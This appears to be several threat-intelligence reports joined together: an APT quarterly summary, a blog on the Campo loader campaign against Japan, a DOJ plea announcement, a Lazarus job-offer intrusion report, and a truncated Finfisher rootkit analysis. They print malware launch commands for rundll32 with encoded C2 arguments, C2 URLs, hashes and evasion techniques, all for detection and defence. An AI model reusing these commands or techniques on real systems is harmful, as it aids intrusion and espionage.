June, we came across an unusual set of samples used to target diplomatic, government and military organizations in countries in South and Southeast Asia. The threat actor behind the campaign, which we believe to be the PLATINUM APT group, uses an elaborate, previously unseen, steganographic technique to conceal communication. A couple of years ago, we predicted that more and more APT and malware developers would use steganography, and this campaign provides proof: the actors used two interesting steganography techniques in this APT. It’s also interesting that the attackers decided to implement the utilities they need as one huge set – an example of the framework-based architecture that is becoming more and more popular. ## Other Interesting Discoveries On May 14, Microsoft released fixes for a critical Remote Code Execution vulnerability (CVE-2019-0708) in Remote Desktop Services (formerly known as Terminal Services) that affects some older versions of Windows: Windows 7, Windows Server 2008 R2, Windows Server 2008 and some unsupported versions of Windows – including Windows 2003 and Windows XP. Details on how to mitigate this vulnerability are available in our private report ‘Analysis and detection guidance for CVE-2019-0708’. The Remote Desktop Protocol (RDP) itself is not vulnerable. This vulnerability is pre-authentication and requires no user interaction. In other words, the vulnerability is ‘wormable’, meaning that any future malware that exploits this vulnerability could propagate from vulnerable computer to vulnerable computer in a similar way that WannaCry spread. Microsoft has not observed exploitation of this vulnerability, but believes it is highly likely that malicious actors will write an exploit for it. Early in June, researchers at Malwarebytes Labs observed a number of compromises on Amazon CloudFront, a Content Delivery Network (CDN), where hosted JavaScript libraries were tampered with and injected with web skimmers. Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain, this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or link to code developed specifically for them and hosted on a custom AWS S3 bucket. Without properly validating externally loaded content, these sites are exposing their users to various threats, including some that pilfer credit card data. After analyzing these breaches, researchers found that they are a continuation of a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs. CDNs are widely used because they provide great benefits to website owners, including optimizing load times and cost, as well as helping with all sorts of data analytics. The sites they identified had nothing in common other than the fact they were all using their own custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN repository would be themselves. Dragos has reported that XENOTIME, the APT group behind the TRISIS (aka TRITON and HatMan) attack on a Saudi Arabian petro-chemical facility in 2017, has expanded its focus beyond the oil and gas industries. Researchers have recently seen the group probing the networks of electric utility organizations in the US and elsewhere – perhaps as a precursor to a dangerous attack on critical infrastructure that could potentially cause physical damage or loss of life. Dragos first noticed the shift in targeting in late 2018; and the attacks have continued into 2019. We recently reported on the latest versions of FinSpy for Android and iOS, developed in mid-2018. This surveillance software is sold to government and law enforcement organizations all over the world, who use it to collect a variety of private user information on various platforms. WikiLeaks first discovered the implants for desktop devices in 2011 and mobile implants were discovered in 2012. Since then Kaspersky has continuously monitored the development of this malware and the emergence of new versions in the wild. Mobile implants for iOS and Android have almost the same functionality. They are capable of collecting personal information such as contacts, messages, emails, calendars, GPS location, photos, files in memory, phone call recordings and data from the most popular messengers. The Android implant includes functionality to gain root privileges on an unrooted device by abusing known vulnerabilities. It would seem that the iOS solution doesn’t provide infection exploits for its customers: the product seems to be fine-tuned to clean traces of publicly available jailbreaking tools. This might imply that physical access to the victim’s device is required in cases where devices are not already jailbroken. The latest version includes multiple features that we haven’t observed before. During our recent research, we detected up-to-date versions of these implants in the wild in almost 20 countries, but the size of the customer base would suggest that the real number of victims may be much higher. ## Final Thoughts APT activity in the Middle East has been particularly interesting this quarter, not least because of the leaks related to alleged Iranian activity. This is especially interesting because one of those leaks might have been part of a disinformation campaign carried out with the help of the Sofacy/Hades threat actor. In contrast to earlier periods, when Southeast Asia was the most active region for APTs, the activities we detected this quarter were mainly Korean-related. For the rest of the region, it was a much quieter quarter. Across all regions, geo-politics remains the principal driver of APT activity. It is also clear from our FinSpy research that there is a high demand for ‘commercial’ malware from governments and law enforcement agencies. One of the most noteworthy aspects of the APT threat landscape we reported this quarter was our discovery of TajMahal, a previously unknown and technically sophisticated APT framework that has been in development for at least five years. This full-blown spying framework includes up to 80 malicious modules stored in its encrypted Virtual File System – one of the highest numbers of plugins we’ve ever seen for an APT toolset. As always, we would note that our reports are the product of our visibility into the threat landscape. However, it needs to be borne in mind that, while we strive to continually improve, there is always the possibility that other sophisticated attacks may fly under our radar.
# Campo: A New Attack Campaign Targeting Japan Since around March 2021, campaigns in Japan using an infrastructure called campo/openfield have been observed. This campaign has the potential to deliver subsequent malware depending on the infected organization, and some cases could eventually result in ransomware incidents overseas. We keep tracking this attack campaign, which started to be observed at least around October 2020. We anticipate that attackers will continue to be active in the future, and we are concerned that this could lead to serious impacts, including ransomware encryption in the worst case. Therefore, in order to prepare for such threats, we will share the characteristics of campaigns for Japan and how to check for malware execution traces based on our research. ## Update History - **Date:** 2021/5/11 **Details:** Published this blog ## Observation Cases of This Campaign in Japan Reports of suspicious emails in Japan have been shared on social networking sites. The reports are shown below in chronological order. - **2020/10/14** - **2021/3/10** - **2021/3/24** - **2021/3/31** - **2021/4/6** - **2021/4/7** - **2021/4/8** - **2021/4/9** ## Big Picture of Attack Campaign The attack begins with incoming Japanese emails. The body of the email contains a URL link and a password. When the user accesses the URL link, they can download a ZIP file with the password. After extracting this zip file and opening the document file to enable the content, a downloader called Campo Loader is dropped and executed, then starts communication. It also infects DFDownloader as a follow-up malware, which can download and execute additional payloads by communicating with the C2 server. We believe that the attacker is using an anti-bot service called “BlackTDS” to communicate with both the host of the URL link and the host of the Campo Loader. This service enables communications for research activities to redirect to unintentionally legitimate sites. The DFDownloader used in this campaign against Japan has the ability to download and execute additional malware, but at this time we have not observed any following payloads yet. The DFDownloader has not yet been reported overseas. Hence, the final payload via DFDownloader is not known. On the other hand, similar cases of infection with the follow-up malware via Campo Loader have been reported overseas, including Trickbot, Ursnif, BazarLoader, CobaltStrike, AnchorDNS, and PhobosRansom. ## Features of Emails In the attack campaign for Japan, the email is written in Japanese. The content of the email pretends to be from a real company representative and asks the user to download a ZIP file with a password linked to it in the form of an invoice. The email address is different from a legitimate corporate email address, and the attacker is pretending to be a corporation. We have confirmed that the passwords for the linked files in the email are all the same as far as we can currently observe. Furthermore, based on the email headers, we assume that the attacker is using Roundcube Webmail, an open-source webmail, to deliver the message. ## Features of the Linked Server We have confirmed that all the linked URLs where the passworded ZIPs are located have HTTPS. The IP address associated with the domain name is often common. As a result of our investigation, it is possible that this server is using an anti-bot service called “BlackTDS.” This service is described on the official website as “the best solution for cleaning traffic and protecting bots,” but it is reported by ProofPoint to be abused by attackers as Drive-by as a service. In this campaign for Japan, the following filtering of the service may be used: - Filtering by IPs that fully support IPv6 - Filtering by ISP - Filtering by referrer - Filtering by hardware ID Therefore, BlackTDS makes it difficult to retrieve files by security researchers and sandboxes, increasing the difficulty of the investigation. ## Features of Document Files When extracting a ZIP file with a password downloaded from a link in an email and opening the document file, a template with a Japanese design is displayed. Since the design of the document file may be common to other malware, it may be difficult to determine whether it is related to this attack by appearance. It is also possible that the design may change in the future. ### Overview of Malicious Document Behavior If the Office product has default settings, when a user opens a document file and clicks on “Enable Content,” an Excel 4.0 macro is executed, and the file is dropped with the text embedded in the document file. The sheet where the macro is set is hidden, and it contains the string to execute the macro. Due to the “Auto_Open” setting of the document file book, malicious macros will be automatically executed when the document file is opened. The string saved by the SAVE.AS function is decoded using certutil.exe and saved under a different file name (Campo Loader). After that, Campo Loader is executed using rundll32.exe with CALL function, etc. ## Features of Campo Loader Malware Campo Loader (a.k.a NLoader) is a malware that is executed after being dropped from a document file. This malware is a downloader and has the ability to perform HTTP communication to obtain and execute additional payloads. Campo Loader appears to have been updated in early March, and the features of HTTP communication have changed. When Campo Loader is executed, it first creates a directory. Next, it sends the string “ping” to the server using the POST method. The server to be communicated with at this time is called the “Openfield server.” In this stage of communication, the Openfield server returns a URL as a response. Campo Loader checks if the response starts with “h,” and if it does not, it terminates the process. If the response starts with an “h,” it sends a second “ping” message to that URL using the POST method. As a result, an additional payload will be downloaded and saved as a file. Campo Loader is also available as an exe file that can be downloaded and executed. In past cases in Japan, Campo Loader has directly executed malware such as Ursnif and Zloader. However, recent campaigns for Japan have tended to use DLL versions and have shifted to downloading and executing to the DFDownloader. ## Features of DFDownloader Malware DFDownloader is the second stage malware that is downloaded and executed by Campo Loader. This malware is a downloader and is responsible for downloading and executing the next stage of malware. DFDownloader has embedded version information, and since it is frequently upgraded, it is expected to be used continuously in the future. ### Anti-Sandbox Function DFDownloader has an anti-sandbox feature: it will first check the total amount of memory on your system, and if it is less than 4 GiB, it will kill the process. There are also several loops in the sleep function, which may prevent the process from running properly in a sandboxed environment. ### Communication Flow The communication flow by DFDownloader uses four types of data formats when it communicates with the C2 server. DFDownloader sends the information collected by the first infected host using the POST method, and the information sent at this time is encoded in Base64. ## Consideration of Follow-up Malwares At the time of writing, we have not been able to confirm any follow-up payloads. However, similar cases have been reported overseas, and we assume that infections by this campaign may spread in Japan like these cases in the future. ## How to Check for Malware Execution Traces ### Automatic Startup Settings - **Registry:** DFDownloader registers a DLL file in the registry for persistence. DFDownloader is executed when the user logs on to the terminal. ### Network Traffic and Proxy Logs - **Communication of Campo Loader:** Uses the POST method with no User-Agent in the HTTP header. The domain name tends to be the xyz domain. - **Communication of DFDownloader:** The POST method is used with no User-Agent in the HTTP header. The domain name tends to use the xyz domain. ### Created Files Please check if any of the following files have been created. The folder path used to store the files is consistently “C:\Users\Public\” for document files and “C:\ProgramData\” for Campo Loader. ## Acknowledgments We would like to thank the following security researchers for sharing their information with us in writing this blog: - Cryptolaemus Team (@Cryptolaemus1) - ExecuteMalware (@executemalware) - bom (@bomccss) - わが (@waga_tw) - moto_sato (@58_158_177_102) - Malware Traffic Analysis ## IoCs (As of May 10) - **Document file:** 7d1ff39fc6daab153ad6477554415336578256257aa81fd796a48b89c7a8b2e8 - **Campo Loader:** b8212f866c5cdf1a823031e24fe10444aab103d8fb55a25821e1c7c7366e580f - **DFDownloader:** 8589e2d840c3ed5adbdc160724bdb3c2e703adeec1ec1e29983960c9c00c4469 ## Where to Communicate with Campo Loader - hxxp://nightsalmon[.]xyz/campo/b/b - hxxp://foreverbold[.]xyz/campo/b/b - hxxp://superstartart[.]xyz/campo/b/b - hxxp://steeltits[.]xyz/campo/z/z - hxxp://139.162.150[.]121/campo/b/j ## Where to Communicate with DFDownloader - showstoreonline[.]com - moviesmenia[.]com - avydabiz[.]com - kingdomcoffee[.]com - domaindnsresolver[.]xyz
# Malware Author Pleads Guilty for Role in Transnational Cybercrime Organization Responsible for more than $568 Million in Losses **July 31, 2020** **Department of Justice** **Office of Public Affairs** Cybercrime Organization Victimized Millions in all 50 States and Worldwide in One of the Largest Cyberfraud Enterprises Ever Prosecuted by the Department of Justice An author of malicious computer software and a member of the Infraud Organization pleaded guilty today to RICO conspiracy, announced Acting Assistant Attorney General Brian C. Rabbitt of the Justice Department’s Criminal Division. Valerian Chiochiu, aka “Onassis,” “Flagler,” “Socrate,” and “Eclessiastes,” 30, pleaded guilty before U.S. District Court Judge James C. Mahan in the District of Nevada. Chiochiu is a national of the Republic of Moldova, but resided in the United States during the period of the conspiracy. His plea came just over a month after the co-founder and administrator of Infraud, Sergey Medvedev of Russia, separately pleaded guilty on June 26. Sentencing for Chiochiu has been scheduled for Dec. 11. Infraud was an Internet-based cybercriminal enterprise engaged in the large-scale acquisition, sale, and dissemination of stolen identities, compromised debit and credit cards, personally identifiable information, financial and banking information, computer malware, and other contraband. “Over the course of seven years, Infraud and its alleged conspirators created a sophisticated cybercriminal racketeering scheme that victimized individuals, merchants, and financial institutions to the tune of over half a billion dollars in losses,” said Acting Assistant Attorney General Brian C. Rabbitt. “The Justice Department is committed to unmasking cyber criminals and their criminal organizations that use the internet for fraudulent schemes.” “HSI and our partners are at the forefront of combating financial crimes and illicit activities spread on the Internet,” said Special Agent in Charge Francisco Burrola for the U.S. Immigration and Customs Enforcement’s Homeland Security Investigations (HSI) Las Vegas Office. “While criminal operators may continue to grow the reach of their criminal activity, ultimately they do not escape the reach of law enforcement. We continue to investigate, disrupt, and dismantle hidden illegal networks that pose a threat in cyberspace.” According to the indictment, the Infraud Organization was created in October 2010 by Medvedev and Svyatoslav Bondarenko, aka “Obnon,” “Rector,” and “Helkern,” 34, of Ukraine, to promote and grow interest in the Infraud Organization as the premier destination for “carding” — purchasing retail items with counterfeit or stolen credit card information — on the Internet. Under the slogan, “In Fraud We Trust,” the organization directed traffic and potential purchasers to the automated vending sites of its members, which served as online conduits to traffic in stolen means of identification, stolen financial and banking information, malware, and other illicit goods. It also provided an escrow service to facilitate illicit digital currency transactions among its members and employed screening protocols that purported to ensure only high-quality vendors of stolen cards, personally identifiable information, and other contraband were permitted to advertise to members. In March 2017, there were 10,901 registered members of the Infraud Organization. Bondarenko currently remains a fugitive. According to the indictment, Chiochiu provided guidance to other Infraud members on the development, deployment, and use of malware as a means of harvesting stolen data. As part of his plea agreement, Chiochiu admitted to authoring a strain of malware known to the computer security community as “FastPOS.” During the course of its seven-year history, the Infraud Organization inflicted approximately $2.2 billion in intended losses, and more than $568 million in actual losses, on a wide swath of financial institutions, merchants, and private individuals, and would have continued to do so for the foreseeable future if left unchecked. The investigation was conducted by the Las Vegas Office of U.S. Immigration and Customs Enforcement’s Homeland Security Investigations and the Henderson, Nevada Police Department. The U.S. Attorney’s Office for the Central District of California also provided assistance with Chiochiu’s case. Deputy Chief Kelly Pearson and Trial Attorneys Chad W. McHenry and Alexander Gottfried of the Criminal Division’s Organized Crime and Gang Section are prosecuting the case.
# Lazarus Group Recruitment: Threat Hunters vs Head Hunters ## Introduction At the end of September 2020, Positive Technologies Expert Security Center (PT ESC) was involved in the investigation of an incident in one of the largest pharmaceutical companies. After analyzing the tactics, techniques, and procedures (TTPs) of the attackers, the investigation team found similarities with the Lazarus Group attacks previously described in the reports Operation: Dream Job and "Operation (노스 스타) North Star A Job Offer That's Too Good to be True?". This article describes a previously unknown attack by the APT group, reveals the Lazarus Group's TTPs that allowed attackers to obtain partial control over a pharmaceutical company's infrastructure in just four days, as well as the tools used by the attackers for preliminary compromise, network reconnaissance, and gaining persistence in the infrastructure of the targeted company. At the end of the article, PT ESC provides a list of the group's TTPs and indicators of compromise that can be used by cybersecurity specialists to identify traces of the group's attacks and search for threats in their infrastructure. ## Sequence of events At the end of September 2020, an employee of the pharmaceutical company received a document named GD2020090939393903.doc with a job offer (creation date: 2020:09:22 03:08:00). Shortly after, another employee received a document named GD20200909GAB31.doc with a job offer from the same company (creation date: 2020:09:14 07:50:00). By opening the documents from a potential employer, both victims activated malicious macros on their home computers. In one of the cases, a malicious document was received via Telegram. Note that both documents were received by the victims over the weekend. After running malicious macros on two compromised computers, reconnaissance was performed (T1016: System Network Configuration Discovery) using system utilities ipconfig.exe, ping.exe, and net.exe. The following unknown PE files were also launched: - C:\ProgramData\Applications\ZCacher.dat - C:\ProgramData\Applications\MemoryCompressor.tls-lbn - C:\ProgramData\Applications\MemoryCompressor.tls - C:\ProgramData\Applications\MemoryCompressor64.exe It was not possible to gain full access to all the files listed above during the incident investigation. One of the compromised computers used CommsCacher, a backdoor named ApplicationCacher-f0182c1a4.rb (compilation date: 2020-09-14T16:21:41Z), and its configuration file C:\Users\*\AppData\Local\.IdentityService\AccountStore.bak encrypted with the VEST algorithm, as well as the LNK startup file C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSSqlite3Svc.lnk. Notably, the backdoor monitors RDP sessions on the compromised computer using WTSEnumerateSessionsW. According to the proxy server logs, the compromised computers tried to connect to the address forecareer[.]com:443, which was not detected by antivirus engines as malicious at the time of the attack. According to WHOIS entries, the domain had been registered a few days before the attack began. At the time of the attack, content was published on the domain that copied a page of the official website of General Dynamics Mission Systems, one of the world's largest manufacturers of military and aerospace equipment. The Lazarus Group had already used this brand in its attacks. The domain also had a valid SSL certificate. At the beginning of the working week, both victims connected to the RDG server of one of the organization's branches from the compromised personal computers. This allowed attackers to gain access to the company's corporate network. On the same day, the company's RDG server showed traces of illegitimate activity and evidence of malicious reconnaissance on the network for the first time. The compromised accounts were used to run system utilities systeminfo.exe, ipconfig.exe, netstat.exe, tasklist.exe, qwinsta.exe, query.exe, quser.exe, net.exe, and ping.exe, as well as C:\ProgramData\Comms\Cacher.hls-iol (version of the public utility ADFind for Active Directory requests). Later, CommsCacher with the name C:\ProgramData\USOShared\usomsqlite3.lgs.dat was also installed on the RDG server. The attackers uploaded an unknown PE file with the name C:\ProgramData\volitile.dat and launched the DLL library C:\ProgramData\comms\commspkg.bin (compilation date: 2020-08-22T18:45:25Z), which executes files transferred in the configuration via the command line using CreateProcessW. Two days later, after entering the corporate network, the attackers gained access to a number of servers, including the domain controller, additional RDG server, file server, and Crontab server. On these servers, the attackers also performed reconnaissance using system utilities and system services with the name usomgmt. The attackers used this name to name their own services on the compromised hosts. During the incident investigation, the experts failed to gain access to files C:\ProgramData\Microsoft\gpolicy.dat, C:\ProgramData\Microsoft\gpolicy.out, C:\ProgramData\Microsoft\gpolicy.bin, and C:\ProgramData\Microsoft\gpolicy.bat. Tampering with creation, deletion, and addition of the user admin$ to the administrator group would later provoke the suspicion of the system administrators of the compromised company and serve as the beginning of the incident response. Similar actions of attackers with the account admin$ were described in the report "Greetings from Lazarus." At the same time, by performing reconnaissance on the computers available, the attackers received new vectors for penetration into the company's corporate network. So, two days later, after the company's network infrastructure was compromised, another employee from another branch received a job offer. On the social network LinkedIn, the victim was contacted by a user named Rob Wilson, shortly after which she received an email with a job offer from General Dynamics UK. After studying the information about the job and the company through the Yandex search engine, Wikipedia, and the legitimate website of General Dynamics UK, the employee continued to correspond with Rob Wilson's account, from whom they received links to download malicious documents GD20200909GAB31.doc, PDF20200920KLKA.pdf, and PDF20200920KLKA.zip from an attacker-controlled job search website clicktocareers[.]com, which was not detected by antivirus engines as malicious at the time of the attack. Note that the victim failed to open the received PDF document the first time, after which the attackers sent her the InternalPDFViewer.exe software to view PDF files. The compromised user also forwarded the malicious email to her colleague. However, the recipient did not open the malicious document and did not allow the attackers to expand the attack surface. On the compromised computer, the attackers performed reconnaissance using system commands query.exe, quser.exe, and netstat.exe and installed a CommsCacher backdoor named CommsCacher.dat, which gains persistence via an LNK file in the startup folder. The experts also discovered evidence of launching the malicious DLL Trojan-Downloader Agamemnon regid.mdb (compilation date: 2020-09-14T16:21:26Z), which is extracted from a malicious document, then collects information from the infected host, sends it to the attackers' server, and in response receives a payload. ## Malicious document The phishing document GD2020090939393903.doc contains a decoy text in the form of a job offer. The text of the document: **Senior Business Manager** **Job Location:** Washington, DC **Employment Type:** Full Time **Clearance Level Must Currently Possess:** None **Clearance Level Must Be Able to Obtain:** None **Telecommuting Options:** Some Telecommuting Allowed **Annual Salary:** $72k - $120k **Job Description:** General Dynamics Mission Systems (GDMS) engineers a diverse portfolio of high technology solutions, products, and services that enable customers to successfully execute missions across all domains of operation. With a global team of 13,000+ top professionals, we partner with the best in industry to expand the bounds of innovation in the defense and scientific arenas. Given the nature of our work and who we are, we value trust, honesty, alignment, and transparency. We offer highly competitive benefits and pride ourselves in being a great place to work with a shared sense of purpose. You will also enjoy a flexible work environment where contributions are recognized and rewarded. If who we are and what we do resonates with you, we invite you to join our high-performance team! **Responsibilities:** Bachelor's degree in Senior Business Manager or a related specialized area or the equivalent experience is required plus a minimum of 10 years of relevant experience; or Master's degree plus a minimum of 8 years of relevant experience to meet managerial expectations. The candidate must have proven experience with the capture management and proposal development processes. Department of Defense TS/SCI security clearance is preferred at the time of hire. Candidates must be able to obtain a TS/SCI clearance with polygraph within a reasonable amount of time from date of hire. Applicants selected will be subject to a U.S. Government security investigation and must meet eligibility requirements for access to classified information. Due to the nature of work performed within our facilities, U.S. citizenship is required. For foreign candidates, they have to be related in the U.S. with family. **Qualifications:** At General Dynamics Mission Systems (GDMS), we deliver systems that provide critical intelligence data to our national leadership. As a market leader and technology innovator, we are seeking talented professionals to deliver cutting-edge solutions to our customers. GDMS has an immediate opening for a Senior Manager of Business Development. The selected candidate will work to identify and acquire new business ventures for GDMS and its customers. The Senior Manager of Business Development will work among a talented and technically accomplished group of colleagues and enjoy a flexible work environment where contributions are recognized and rewarded. **Representative Duties and Tasks:** The selected Senior Manager of Business Development: - Identifies and captures new business opportunities in the international and domestic Signals Intelligence (SIGINT) marketplace, with emphasis on High Frequency (HF) and Very High/Ultra High Frequency (V/UHF) Communications Intelligence (COMINT) Direction Finding (DF) Systems and Satellite Communication & Collection Systems. - Establishes and maintains frequent Intelligence Community (IC) and Defense customer contacts in the international and domestic SIGINT, COMINT/DF, and Satellite Communication marketplace. - Collaborates with customers to develop system Concept of Operations (CONOPS), architectures, and requirements for SIGINT, COMINT/DF, and Satellite Communication collection systems. - Develops and presents briefing packages of business area capabilities and system offerings to international and domestic customers. - Works closely with the business area technical and management team to align business area strategy, capabilities, investments, and offerings with SIGINT, COMINT/DF, and Satellite Communication markets. - Performs competitor analyses and develops teaming relationships as needed. - Works closely with the Export Compliance organization to obtain all export licenses for business pursuits in the international marketplace. **Required Skills:** Minimum of five (5) years of project management related experience, with 2 years of experience as a Business Development Manager in a "large" or Government organization. Experience coordinating and overseeing the implementation of security projects. Experience with MS Project, SharePoint, or other project management tools. Knowledge of general management and auditing techniques for identifying problems, gathering and analyzing pertinent information, forming conclusions, developing solutions, and implementing plans consistent with management goals. Excellent oral and written communication skills. Interaction and information gathering with coworkers and customers. **Education / Certifications:** Master's degree from an accredited higher education institution and a minimum of 11 years of progressive Business Development experience or equivalent experience. One industry-recognized business development management certification. Certifications relating to Government Clearance (a plus). Some modifications of malicious documents obtained during the investigation were protected with the password JD-20BZ@9918261231C3 (presumably, to bypass security measures). Document metadata: - **File Size:** 1991 kB - **File Permissions:** rwxrwx--- - **File Type:** DOC - **File Type Extension:** doc - **MIME Type:** application/msword - **Title:** - **Subject:** - **Author:** User - **Keywords:** - **Comments:** - **Template:** Normal - **Last Modified By:** Admin - **Revision Number:** 2 - **Software:** Microsoft Office Word - **Total Edit Time:** 2.0 minutes - **Create Date:** 2020:09:22 03:08:00 - **Modify Date:** 2020:09:22 03:08:00 - **Pages:** 4 - **Words:** 870 - **Characters:** 4960 - **Security:** Password protected - **Code Page:** Windows Latin 1 (Western European) - **Lines:** 41 - **Paragraphs:** 11 - **Char Count With Spaces:** 5819 - **App Version:** 15.0000 - **Scale Crop:** No - **Links Up To Date:** No - **Shared Doc:** No - **Hyperlinks Changed:** No - **Title Of Parts:** - **Heading Pairs:** Title, 1 - **Comp Obj User Type Len:** 32 - **Comp Obj User Type:** Microsoft Word 97-2003 Document Analysis of the document showed that GD2020090939393903.doc contains a malicious VBA macro and a payload encoded using Base64 and XOR algorithms. ## Trojan-Downloader Agamemnon If successful, the malicious macro extracts the decrypted data to the file 963e8cfaa40226ba2e5d516464572446 in the directory C:\ProgramData\regid.mdb and runs the library with the following parameters: ``` rundll32.exe C:\ProgramData\regid.mdb,sqlite3_create_functionex X4BJOPK3O6nxwkVuK3HqqTt4 LRTB /QV3AcjAeAb/x3xH+0ZhyOBJfZXilGFS69N5E/rSe2z47XDp8uh37v2vZ6/zrkkg9KFobffsQyr5q0Urx6pxtP31eXHG8ER2xfd/t8/2SjjQeXOF8oR6guvDbIPownS85T1uOfD4YX7tv2T/4D5iMOnxaj3pfFW607td+9P6bGTTJVah2OBeptWn YFRm7+dYZ9imQGjcKV313vRd8svzW/Pfsl8Mxc1QCd1IV87Xz1CPxg5TAOqBWg3XzFdKw== ``` Agamemnon is a legitimate SQLite DLL library with the malicious exported function sqlite3_create_functionex. This modification, as well as the method of gaining persistence on a compromised computer in the startup folder, were described in the report Operation (노스 스타) North Star A Job Offer That's Too Good to be True. When launched, the extracted file regid.mdb collects the following information about the system: - Computer name - Information about network adapters - User name - List of running processes Next, the malware compresses the received data using the LZ algorithm with the maximum compression ratio, after which it encrypts the data with its own algorithm and encodes it in Base64. The malware also generates a unique identifier for the infected host. The collected information is sent to one of the attackers' C2 servers along with the computer ID. The full list of C2 servers is transmitted in encrypted form via the command line. The file GD2020090939393903.doc transmits the following list of C2 servers: - https://propro[.]jp/wp-content/documents/docsmgmt.php - http://www.ctevt.org[.]np/ctevt/public/frontend/review.php - http://gbflatinamerica[.]com/file/filelist.php - http://www.apars-surgery[.]org/bbs/bbs_files/board_blog/write.php - http://goldllama4.sakura.ne[.]jp/waterdo/wp/wp-content/plugins/view.php - https://bootcamp-coders.cnm[.]edu/~dmcdonald21/emoji-review/storage/app/humor.php After sending the data to the C2 server, the malware receives a response from it. It contains the main payload also encrypted with its own algorithm. It is either executed in the process memory or uploaded to the hard disk at: %localappdata%\~DMF[0-9]{4}.tmp (the path is given in RegExp format) and launched using rundll32.exe. The version of payload execution is determined by the response of the C2 server. Note that the loader is successfully detected in the public sandbox ANY.RUN. ## Trojan-Backdoor CommsCacher CommsCacher is also a legitimate SQLite DLL library with the malicious exported function sqlite3_create_functionex. Examples of LNK files with CommsCacher autorun parameters are shown below. ``` rundll32.exe CommsCacher.dat,sqlite3_create_functionex dbmanagementservice19253 rundll32.exe ApplicationCacher-f0182c1a4.rbs,sqlite3_create_functionex sqlite3msdbmgmtsvc-f810a ``` CommsCacher downloads and uploads configuration data to the hard disk in the file: %localappdata%\.IdentityService\AccountStore.bak. The configuration file is encrypted with the VEST encryption algorithm and contains a list of C2 servers. Example of the configuration data: - https://akramportal[.]org/delv/public/voice/voice.php - https://vega.mh-tec[.]jp/.well-known/gallery/siteview.php - https://www.hospitality-partners[.]co.jp/works/performance/consumer.php - https://inovecommerce[.]com.br/public/pdf/view.php Connecting to one of the C2 servers, the sample receives shellcode and configuration data in response from the C2. The received data is decrypted and the shellcode with the transmitted parameters is launched. After that, the CommsCacher malware opens a named pipe \\.\pipe\fb4d1181bb09b484d058768598b, which is used to receive data from the shellcode and then transmit it to the C2 server. The detected samples C:\ProgramData\Applications\ApplicationCacher-f0182c1a4.rbs (compilation date: 2020-09-24T05:12:24Z) and C:\ProgramData\USOShared\usomsqlite3.lgs.dat (compilation date: 2020-09-29T03:34:06Z) are similar to CommsCacher. The files contain 64 MB of random repeating characters. They could be used by the attackers to bypass antivirus protection that can ignore large files. The backdoor functions and its server side were described in detail in the article Operation North Star: Behind The Scenes. ## Logs of victims During the incident investigation, a number of malicious C2 servers were identified, and, after studying them, the experts managed to obtain log files with the IP addresses of victims also compromised by this group. Log format: [JD = ID][Date] [Victim IP] [User-Agent]. All identified victims were notified of the incidents. Sensitive information has been replaced with asterisks (*). The attacker-controlled servers contained files named sclient+[md5 victim]+.tmp or pagefile+[md5 victim]+.dat. These files contained information from compromised computers. ## Attribution The detected indicators of compromise belong to Lazarus Group, a hacker group also known as Hidden Cobra. The group has been operating since 2009 at least. Lazarus is thought to belong to a class of government-sponsored APT groups and come from North Korea. The group regularly conducts its attacks for the purpose of cyberespionage. The main source vector of attacks is targeted phishing through third-party resources (Phishing: Spearphishing via Service). In this campaign, attackers, under the guise of the HR service of General Dynamics Mission Systems, sent documents with malicious macros containing a stub text with a job offer through LinkedIn, Telegram, WhatsApp, and corporate email. To attack the organization, the attackers created a phishing site of General Dynamics Mission Systems. As C2 servers, they used the resources of allegedly compromised organizations located in Brazil, France, Japan, South Korea, and the United States. ## Conclusions To identify all compromised hosts and obtain detailed information about the incident, the experts scanned the entire company's infrastructure for indicators of compromise, as well as network and file signatures of users. All possible host artifacts were also analyzed. The most useful artifacts for restoring the incident chronology were the USN Journal, EVTX Events, Jump Lists, and the MFT table. This article describes the TTPs of the Lazarus Group, which allowed them to gain partial control over the infrastructure of the compromised company within four days. This shows a high degree of preparedness of attackers and an individual approach to compromising each host on the infrastructure. The attackers used both publicly available software and tools of their own design. According to the investigation, the attackers did not gain access to sensitive information. As a result of the prompt actions of PT ESC specialists and administrators of the pharmaceutical company, the attackers were deprived of access to the controlled infrastructure. **Author:** Aleksandr Grigorian, Positive Technologies The article's author thanks the incident response and threat intelligence teams PT Expert Security Center for their help in drafting the story.
# Finfisher Rootkit Analysis My previous blog post was dedicated to very interesting malware called Wingbird. This malware has been used by the NEODYMIUM cyber espionage group and contains a rootkit to execute sensitive and important operations for attackers in a system. The first sample used a rootkit for injecting malicious code into Winlogon while removing ESET driver hooks in kernel SSDT, while the second deploys a rootkit for bypassing FS sandbox of several security products. Both droppers were analyzed in a 32-bit environment, while their behavior in 64-bit Windows versions is also interesting and different from what we have seen in the 32-bit versions. In a 64-bit system, the dropper doesn't resort to the use of a kernel mode rootkit (obviously, due to DSE restrictions) for injecting malicious code and data into the trusted Winlogon process. Instead, it uses a special trick for masking its malicious activity and for performing injection. The dropper uses a copy of the trusted LSASS process (executable file) and forces it to load a malicious DLL with a standard name that is imported by LSASS. The 64-bit GMER anti-rootkit tool demonstrates injection anomalies into Winlogon and Svchost, where malicious code is located. The presence of virtual memory regions in Winlogon with the protection attribute PAGE_EXECUTE_READWRITE is an indicator that the process was compromised. As I noted in the previous blog post, Wingbird malware shares similarities with another malware called Finfisher. For example, in the malicious PE-file that was dumped from the Winlogon memory region, we can see a reference to the name of the Finfisher rootkit (mssounddx.sys). After the lsass service started, it injects code into Winlogon, and with the help of ProcMon boot logging, we can identify the first actions that come from the malicious code. After some preliminary actions, the malicious code in Winlogon tries to communicate with the hard disk on a low level; it requests disk geometry info and sends SCSI control code for reading data. In the 32-bit version, it uses a rootkit to perform this operation. It also checks for the presence of Finfisher files. I was able to get the 32-bit version of mssounddx.sys rootkit. As you can see in the screenshot below, the authors masked its file as a legitimate Microsoft driver. Like the Wingbird rootkit, the Finfisher rootkit is protected from static analysis. The code from DriverEntry and other functions in mssounddx.sys represents a loader that decrypts the content of a BIN resource, where the second encrypted driver is located. Rootkit code performs the following actions in DriverEntry: 1. It looks for the corresponding BIN resource in the .rsrc section. 2. It allocates a memory block from the kernel pool and copies into it the content of the BIN resource with a size of 0xc180 (encrypted driver). 3. It decrypts data in the allocated pool block. 4. It prepares the PE-file of the encrypted driver for work: applies fixups, fills some internal variables (pointers to import functions). 5. It passes control to the DriverEntry of the decrypted driver. The second driver 